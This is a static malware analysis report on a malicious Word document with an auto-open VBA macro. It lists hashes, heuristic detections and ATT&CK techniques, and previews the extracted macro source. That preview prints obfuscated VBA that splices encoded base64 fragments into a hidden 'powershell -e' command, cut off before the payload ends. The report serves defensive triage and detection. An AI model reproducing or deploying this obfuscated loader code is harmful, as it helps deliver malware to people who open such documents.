Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40bba4c8b668611f…

MALICIOUS

Office (OLE)

62.5 KB Created: 2017-10-17 16:39:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 0b9c2add2e66b8a7b2ebc871779fa401 SHA-1: 6b8a081b0f941f14a21c92ae044a3028e841fb36 SHA-256: 40bba4c8b668611ffe0df7e6b0dd1ead4ca54bf80b6406672676c5853b70dba9
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, a critical heuristic firing, indicating an attempt to execute arbitrary commands. The ClamAV detection and other heuristics further confirm its malicious nature. The VBA script is heavily obfuscated, making it difficult to determine the exact payload or command being executed, but the intent is clearly to run an external process.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7077 bytes
SHA-256: 2b95872ec9624d174a9d4be82a94332c0a70ffaa2433f12be6827100c9bba91d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 17 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub QEpFqCHOS()
trwjwFtz = "NQU6AEgAIAB7ACgAWwBpAE4AdABdACQAXwAgACNYW9D9MRGPN"
wZABNw = Mid(trwjwFtz, 5, 34)
PiTHMIrohl = wZABNw
AJCNbzzLwI = "1CD4ILBUZN8PLT67IK7TC4ZLMAA4AFcAMQAwADgATAA1ADkAJgAzADYALAAxADEAOQBnADEAMAAxACwAOQA4AFcAOQA5ACwAMQAwADgAaQAxADAANQA8ADEAMAAxAEwAMQAxADAALAAxADEANgBXADMAMgBrADYAMQBnADMAMgAmADEA9AJ"
RKLEoP = Mid(AJCNbzzLwI, 25, 152)
wBAQjNGXB = RKLEoP
KkkdoHDvbC = "N6Q00AQQBzAFsAQwBIAGEAUgBdACkAIAB9ACAAKQAtAEoAbwBpAE4AIAAnACcAIAApACAACTIWFYW0807H69GK1YV"
HMstXfQNTm = Mid(KkkdoHDvbC, 5, 66)
ElhFscSAHZ = HMstXfQNTm
CUjwviO = "A85L5AGsAMwA5AGsANAA2AFcAOAAzACYAMQAxADIAZwAxADAAOABnADEAMAA1AEwAMQAxADYATAA0ADAAaQAzADkAaQA0ADQ60ULQDX6R9KQAS3"
dbuRqBiM = Mid(CUjwviO, 5, 92)
ihSKWFK = dbuRqBiM
YKqulLQ = "O2BB4WRAL7ZKX1VMTH57VJKNXOPX8set %QEpFqCHOS%=p^owe^rs&&set %sVKOHrWpo%=he^ll&&!%QEpFqCHOAXNWUIYL5"
jmdkzLboR = Mid(YKqulLQ, 30, 59)
jQzRGtbii = jmdkzLboR
XNcvRJZR = "4XJ9FAX5YADAAawAxADAAOAAmADEAMQAxAGcAOQA3AHQAMQAwADAAZwA3ADAAVwAxADAANQB0ADEAMAA4ACwAMQAwADEAegA0ADAAdAAzADYAJgAxADEANwA8ADEAMQA0AGcAMQAwADgATAA0ADYAdAA4ADQAaQAxADEAMQBpADgAMwAmADEAMQA2ADwAMQAxADQAdAAxADAANQAmADEAMQAwAFcAMQAwADMAPAA0ADAAJgA0ADEAaQA0ADQAdAAzADIAVF3D"
LRFUH = Mid(XNcvRJZR, 10, 253)
zSHhM = LRFUH
PfcIXJn = "1DTMQAwADwAMQAwADEAJgAxADEAOQAmADQANQBpADEAMQAxAHoAOQA4AEwAMQAwADYAawAxADAAMQAmADkAOQA8ADEAMQA2AFcAMwAyAGcAOAAzACwAMQAyADEALAAxADEANQBXADEAMQA2AFcAMQAwADEAaQAxADAAOQB6ADQANgBrADcAOAAmADEAMAAxACYAMQBZ5ICKA0ZGQI43V34WDZJTCO2699PI"
iMPuNLfmuM = Mid(PfcIXJn, 4, 194)
MiUjIoTJQ = iMPuNLfmuM
DDoHn = "JM8Q3VD36IP6PHSAVM9AMABMADkANwA8ADEAMAA5AEwAMQAwADEAVwAzADIAaQA2ADEALAAzADIAaQAzADYAZwAxADEANABrADkANwAmADEAMQAwAGsAMQAwADAATAAxADEAMQA8ADEAMAA5AHoANAA2AGcAMQAxADAATAAxADAAMNJOVQL1BNNSA9"
uipOMXAaj = Mid(DDoHn, 20, 154)
PONjsd = uipOMXAaj
PHEpmnI = "LB6JLFOANYQTCKXGGL3JAPAAxADEANAAmADkANwBpADEAMQAwAEwAMQAwADAAawAxADEAMQBrADEAMAA5AHoAMwAyAFcANgAxAHoAMwAyACwAMQAxADAAawAxADAAMQBrADEAMQA5ADwANAA1AHQAMQAxADEAVwA5ADgAaQAxADAANgBnADEAMAAxAFcAOQA5ACYAMQAxADYAegAzADIML4"
jsuzzEwE = Mid(PHEpmnI, 21, 192)
rGSjiFz = jsuzzEwE
jtmiWXR = "HIEMRYX5ML6BM6LVX5VGI9GM14QJN5CFGZFNEAPAAxADAAOQBpADI7"
cuSRqa = Mid(jtmiWXR, 37, 16)
lNSIzzPnb = cuSRqa
pzLjsn = "367AKV9DZ9FF45YJKMADEAMAA3AGsANQA5AFcAMQAyADUATAA5ADkAaQA5ADcAaQAxADEANgB6ADkAOQA8ADEAMAA0ACYAMQAyADMAdAAxADEAOQA8ADEAMQA0ACYAMQAwADUATAAxADEANgBpADEAMAAxAGkANAA1AGkAMQAwADQAPAAxADEAMQBXADEAMQA1ADwAMQAxADYAaQAzADIAZwAzADYDSWYQ0KHW79D517WX8I"
JJbWP = Mid(pzLjsn, 18, 204)
zPIiNuwtJ = JJbWP
FbKTis = "QOXPQB6ADEAMgAwAGcAMQAxADYAegA0ADAAPAA0ADkAJgA0ADQAegAzADIAegA1ADQAJgA1ADMATAA1ADMATAA1ADEAegA1ADQAVwA0ADEATAA1ADkAawAzADYALAAxADEAMgAmADkANwB6ADEAMQA2AGkAMQAwADQATAAzADIAVwA2ADEAdAAzADIAZwAzADYAZwAxADAAMQAsADEAMQAEZTGI2606IXJQNEX1LTW76UTZJLA"
jimcUpAutB = Mid(FbKTis, 5, 210)
BpGamzziPN = jimcUpAutB
LpAYT = "7HEM6Q4Q52E3cAMwAyADwAMwA2AGcAMQAxADcAegAxADEANABrADEAMAA4ACwAMQAxADUATAA0ADEAaQAxADIAMwBXADEAMQA2AEwAMQAxADQAegAxADIAMQAmADEAMgAzADwAMwA2ACYAMQAxADkAPAAxADAAMQBXADkAOABrADkAOQB0ADEAMAA4ACwAMQAwADUALAAxADAAMQB0ADEAMQAwACYAMQAxADYAZwA0ADYATAA2ADgAZwAxADEAMQBrADEAMQA5AGsAMQAx3ABKK"
DfpMWEdbTv = Mid(LpAYT, 13, 262)
sXYznjb = DfpMWEdbTv
SzDXWChB = "GAxADYAJgA0ADYAegA4ADcAZwAxADAAMQB6ADkAOAA8ADYANwBXADEAMAA4AGsAMQAwADUAaQAxADAAMQA8ADEAMQAwAGcAMQAxADYATAA1ADkAPAAzADYIZQ2FBRC7PWKRQ"
PfbDYF = Mid(SzDXWChB, 2, 117)
PSfwBhWb = PfbDYF
bPVkbcwGdlr = "5GXRGB7AMAAyACYAMQAxADEAZwAxADEANAA8ADEAMAAxAGcAOQA3AFcAOQA5AFcAMQAwADQAegA0ADAAZwAzADYAawAxADEANwBpADEAMQA0ADwAMQAwADgATAAzADIAPAAxADAANQA8ADEAMQAwAGGS7USKRSF8KEK2XDH8"
nORcDSCimW = Mid(bPVkbcwGdlr, 8, 143)
YnvLZEvi = nORcDSCimW
GGqNson = "O9OATB7T5I2SND3PMXQZUYNZKK25YLHZS%!!%sVKOHrWpo%! -e IAAmACAAKAAgACQAcABzAGgATwBtAGUAWwA0AF0AKwAkAFAAcwBoAG8AbQBFAF0BOAR8"
GKoWWintT = Mid(GGqNson, 33, 82)
GIlffQWzf = GKoWWintT
jZ
... (truncated)

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